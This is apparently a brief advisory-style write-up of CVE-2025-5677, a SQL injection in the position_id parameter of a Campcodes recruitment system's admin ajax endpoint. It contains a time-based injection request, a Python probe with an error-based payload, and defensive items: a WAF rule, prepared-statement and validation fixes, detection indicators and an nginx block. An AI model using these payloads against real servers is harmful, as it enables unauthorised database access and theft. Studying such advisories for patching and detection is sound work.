How CVE-2025-5677 Works
The vulnerability exists in Campcodes Online Recruitment Management System 1.0 within the `/admin/ajax.php?action=save_application` endpoint. The `position_id` parameter is improperly sanitized before being used in SQL queries, allowing attackers to inject malicious SQL code. When crafted payloads are sent via POST requests, the backend database executes unintended commands, potentially enabling data theft, authentication bypass, or system compromise. The flaw stems from missing input validation and insecure direct object reference. Remote exploitation is possible without authentication (PR:N in CVSS 4.0).

What Undercode Say:
-- Exploit PoC (Sanitized) POST /admin/ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=save_application&position_id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--
Vulnerability Scanner Snippet
import requests
def check_sqli(url):
payload = {"action":"save_application","position_id":"1' AND 1=CONVERT(int,@@version)--"}
try:
r = requests.post(url, data=payload)
return "SQL" in r.text
except:
return False
Mitigation Commands:
WAF Rule for ModSecurity SecRule ARGS:position_id "@detectSQLi" "id:1005677,deny,status:403"
Patch Analysis:
1. Use prepared statements:
$stmt = $conn->prepare("UPDATE applications SET position_id=? WHERE id=?");
$stmt->bind_param("ii", $_POST['position_id'], $app_id);
2. Input validation regex:
if (!preg_match('/^[0-9]+$/', $_POST['position_id'])) {
die("Invalid input");
}
Detection Analytics:
- Monitor for abnormal POST request lengths (>500 chars) to `/admin/ajax.php`
– Alert on sequential SQL error responses (500 status) - Baseline normal `position_id` values (typically 1-3 digits)
Post-Exploit Indicators:
1. Database log entries with concatenated queries
2. Unusual SELECT/UNION statements in HTTP logs
3. New admin users created via `xp_cmdshell`
Emergency Workaround:
location ~ /admin/ajax.php {
if ($args ~ "position_id=[^0-9]") { return 403; }
}
